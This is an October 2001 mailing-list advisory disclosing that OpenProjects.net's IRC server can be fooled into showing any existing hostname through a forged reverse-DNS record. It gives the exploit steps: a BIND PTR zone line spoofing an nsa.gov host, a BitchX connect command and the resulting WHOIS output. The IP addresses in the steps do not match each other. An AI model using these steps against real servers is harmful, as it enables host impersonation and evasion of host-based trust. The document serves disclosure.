Date: Tue, 9 Oct 2001 18:45:19 GMT
From: Jukka Mutex <[email protected]
Message-Id: <[email protected]
To: [email protected]
Subject: OpenProjects IRCD allows DNS spoofing
* OpenProjects.NET IRCD DNS Spoofing *
OpenProjects.net's ircd has some truly braindead code re DNS lookups
and doesn't do a proper double-reverse paranoid lookup. In fact, it
is possible to spoof any hostname that actually exists on the internet.
Here is how to exploit it.
1. Choose a Hostname to Spoof.
It is important to keep in mind that you must choose a hostname that
actually exists, for our example, we will use 'gary7.nsa.gov'
2. Point Your Reverse Lookup To The Hostname.
For our example, we will put the following in our BIND zonefile:
18.104.22.168.in-addr.arpa. IN PTR gary7.nsa.gov.
Where we will assume you are using the same IP I used, 22.214.171.124.
3. Connect To A Vulnerable IRC Server.
BitchX -H 126.96.36.199 jmutex asimov.openprojects.net
Try a WHOIS on yourself.
| jmutex ([email protected]
? ircname : Jukka Mutex
? server : asimov.openprojects.net (Fremont, CA)
: idle : 0 hours 0 mins 24 secs (signon: Tue Oct 9 05:32:16 2001)
Credits: [email protected]
, [email protected]
Found by: Joseph Mallett
Affects: OpenProjects u2.10.05.18.(ipcheck4-5)
Rumored to Affect: Hybrid
Copyright (c) 2001 Joseph Mallett. All rights reserved.